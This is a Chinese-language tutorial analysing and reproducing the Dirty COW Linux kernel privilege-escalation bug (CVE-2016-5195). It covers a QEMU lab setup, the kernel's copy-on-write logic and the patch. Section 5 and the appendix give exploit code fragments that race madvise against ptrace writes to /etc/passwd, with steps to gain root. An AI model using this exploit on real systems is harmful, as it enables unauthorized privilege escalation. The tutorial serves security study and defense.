CVE-2016-5195漏洞分析与复现
字数 1934 2025-08-25 22:58:34
CVE-2016-5195 (Dirty COW) 漏洞分析与复现教学文档
1. 漏洞概述
CVE-2016-5195,又称"Dirty COW"漏洞,是Linux内核中的一个竞争条件提权漏洞。该漏洞允许低权限用户修改只读内存映射文件,从而可能获得root权限。
漏洞本质:由于Linux内核内存子系统在处理写时复制(COW)时的竞争条件,导致可以绕过内存只读限制,修改特权文件如/etc/passwd。
2. 环境搭建
2.1 所需环境
- 内核版本:Linux 4.4.0-31-generic(漏洞影响范围更广)
- 工具:QEMU、BusyBox
- 文件系统:自定义BusyBox文件系统
2.2 关键配置步骤
- 设置BusyBox SUID位:
sudo chown root:root ./bin/busybox
sudo chmod u+s ./bin/busybox
- 编译POC:
gcc ./dirty.c -static -o dirty -lpthread -lcrypt
- 准备文件系统:
find . -print0 | cpio --null -ov --format=newc > ../rootfs.cpio
- QEMU启动命令:
qemu-system-x86_64 \
-m 256M \
-kernel ./vmlinuz-4.4.0-31-generic \
-initrd ./rootfs.cpio \
-append "cores=2,threads=1 root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic
3. 背景知识
3.1 写时复制(COW)机制
COW是Linux中重要的内存管理技术:
- 在fork()时,子进程与父进程共享物理内存页
- 只有当任一进程尝试写入共享页时,内核才为该进程创建该页的副本
- 优点:减少不必要的内存复制,提高效率
3.2 缺页中断处理流程
- 访问不存在或只读的页时触发缺页中断
- 内核检查线性地址是否合法
- 对于合法地址,分配物理页并建立映射
- 对于COW情况,创建页的副本并建立新映射
3.3 关键系统调用
mmap():创建内存映射MAP_PRIVATE标志会触发COW机制
madvise():向内核提供内存使用建议MADV_DONTNEED:表示近期不会访问该内存,内核可释放相关资源
4. 漏洞原理分析
4.1 漏洞触发条件
- 进程通过
mmap创建文件的私有映射(MAP_PRIVATE) - 尝试写入该映射区域,触发COW机制
- 另一个线程调用
madvise(MADV_DONTNEED)解除映射 - 竞争条件导致可以绕过COW,直接修改原始只读页
4.2 详细调用流程
-
第一次缺页处理:
get_user_pages()->follow_page_mask()失败faultin_page()->handle_mm_fault()->do_cow_fault()- 创建COW页,设置pte为dirty/read-only
-
第二次缺页处理:
do_wp_page()检查到已COW,复用页面- 返回
VM_FAULT_WRITE,清除FOLL_WRITE标志
-
竞争窗口:
- 其他线程调用
madvise(MADV_DONTNEED)清空页表项
- 其他线程调用
-
第三次缺页处理:
- 因页表项为空再次触发缺页
- 由于
FOLL_WRITE已清除,调用do_read_fault() - 直接获取原始文件页,而非COW页
4.3 关键代码分析
漏洞核心在于faultin_page()中的这段逻辑:
if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
当COW完成后(VM_FAULT_WRITE),清除FOLL_WRITE标志,使得后续操作可以绕过写权限检查。
5. 漏洞利用(POC分析)
5.1 利用步骤
- 打开目标文件(如/etc/passwd)
- 创建私有内存映射(
mmapwithMAP_PRIVATE) - fork子进程:
- 父进程:不断尝试写入映射区域(
ptrace) - 子进程:循环调用
madvise(MADV_DONTNEED)
- 父进程:不断尝试写入映射区域(
- 竞争成功时,修改会写入原始文件而非COW副本
5.2 关键代码
void *madviseThread(void *arg) {
for(i = 0; i < 200000000; i++) {
madvise(map, 100, MADV_DONTNEED);
}
}
// 主利用代码
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
pid = fork();
if(pid) {
// 父进程尝试写入
for(i = 0; i < 10000/l; i++) {
ptrace(PTRACE_POKETEXT, pid, map + o, *((long*)(complete_passwd_line + o)));
}
} else {
// 子进程调用madvise
pthread_create(&pth, NULL, madviseThread, NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(), SIGSTOP);
}
6. 补丁分析
官方补丁主要修改:
- 引入
FOLL_COW标志专门标记COW情况 - 不再清除
FOLL_WRITE标志 - 在
follow_page_pte()中增加对COW页的特殊处理
补丁代码片段:
+ if ((flags & FOLL_WRITE) && !can_follow_write_pte(pte, flags)) {
+ pte_unmap_unlock(ptep, ptl);
+ return NULL;
+ }
7. 漏洞修复与防御
- 及时更新内核版本
- 对于不能立即更新的系统:
- 限制
/proc/self/mem的访问 - 使用内核模块监控可疑的
madvise调用
- 限制
- 启用SELinux等强制访问控制机制
8. 总结
Dirty COW漏洞展示了Linux内核中:
- COW机制的实现缺陷
- 内存管理子系统中的竞争条件
- 权限检查不完整带来的安全问题
该漏洞利用难度中等,但影响广泛,是研究Linux内核安全机制的经典案例。
9. 参考资源
- Linux内核源码(4.4.0版本)
- 《深入理解Linux内核》内存管理章节
- 官方漏洞公告和补丁
- Dirty COW漏洞的多种利用技术分析
附录:完整测试步骤
- 准备漏洞环境(QEMU+易受攻击内核)
- 编译POC代码
- 在虚拟机中执行POC
- 验证/etc/passwd文件是否被修改
- 尝试使用新创建的用户切换root权限
注意:此漏洞仅可用于合法安全研究和授权测试,未经授权攻击他人系统是违法行为。